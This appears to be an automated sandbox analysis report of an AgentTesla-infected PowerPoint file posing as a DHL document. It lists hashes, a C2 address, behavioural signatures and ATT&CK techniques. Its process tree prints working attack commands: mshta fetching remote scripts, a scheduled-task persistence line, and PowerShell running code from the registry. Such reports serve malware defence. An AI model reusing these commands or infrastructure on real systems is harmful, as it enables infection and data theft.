Resubmissions

04-12-2020 15:10

201204-8gygfx3f4n 10

03-12-2020 19:57

201203-9dqckex96j 8

Analysis

  • max time kernel
    121s
  • max time network
    128s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    04-12-2020 15:10

General

  • Target

    DHL-3-12-20.ppt

  • Size

    308KB

  • MD5

    e1545289a3051a400be31e9e485b7a96

  • SHA1

    060222f611579360d83699f58c2b16c202ce0440

  • SHA256

    4032b7730b04a326f49c57f9b140b94332f87d5d0bf4c33ebfaee973527f822d

  • SHA512

    c37d2d296b52e12e28265406b9b6b7f5944b2bae473f5bd6ede18a5ccff3dc024fa0ea5dfd026e4d3931883cf252c2dd4d67a5bbde1e41b822aa5177974f788e

Malware Config

Extracted

Family

agenttesla

C2

http://69.174.99.26/webpanel-ice/inc/a297721577bf46.php

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 1 IoCs
  • Blocklisted process makes network request 12 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\DHL-3-12-20.ppt"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1188
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://1230948%1230948@j.mp/wasajsidjasdasdkoocs
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1920
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""lunkicharkhi"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta https://madarjaaatresearchers.blogspot.com/p/icenew1.html""\"", 0 : window.close"\")
          3⤵
          • Creates scheduled task(s)
          PID:764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell ((gp HKCU:\Software).juggga)|IEX
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in Drivers directory
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1720

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    2
    T1112

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/764-8-0x0000000000000000-mapping.dmp
    • memory/844-6-0x000007FEF6510000-0x000007FEF678A000-memory.dmp
      Filesize

      2.5MB

    • memory/1188-2-0x0000000000000000-mapping.dmp
    • memory/1720-14-0x0000000002500000-0x0000000002501000-memory.dmp
      Filesize

      4KB

    • memory/1720-15-0x0000000002460000-0x0000000002461000-memory.dmp
      Filesize

      4KB

    • memory/1720-18-0x000000001C230000-0x000000001C266000-memory.dmp
      Filesize

      216KB

    • memory/1720-17-0x000000001B6D0000-0x000000001B6D1000-memory.dmp
      Filesize

      4KB

    • memory/1720-16-0x000000001B640000-0x000000001B641000-memory.dmp
      Filesize

      4KB

    • memory/1720-13-0x000000001AB30000-0x000000001AB31000-memory.dmp
      Filesize

      4KB

    • memory/1720-9-0x000007FEF5150000-0x000007FEF5B3C000-memory.dmp
      Filesize

      9.9MB

    • memory/1720-12-0x00000000026C0000-0x00000000026C1000-memory.dmp
      Filesize

      4KB

    • memory/1920-11-0x0000000007870000-0x0000000007886000-memory.dmp
      Filesize

      88KB

    • memory/1920-5-0x0000000000000000-mapping.dmp
    • memory/1920-10-0x0000000006AE0000-0x0000000006B03000-memory.dmp
      Filesize

      140KB

    • memory/2044-3-0x00000000005F0000-0x00000000005F1000-memory.dmp
      Filesize

      4KB

    • memory/2044-4-0x00000000005F0000-0x00000000005F1000-memory.dmp
      Filesize

      4KB

    • memory/2044-7-0x0000000004F00000-0x0000000004F04000-memory.dmp
      Filesize

      16KB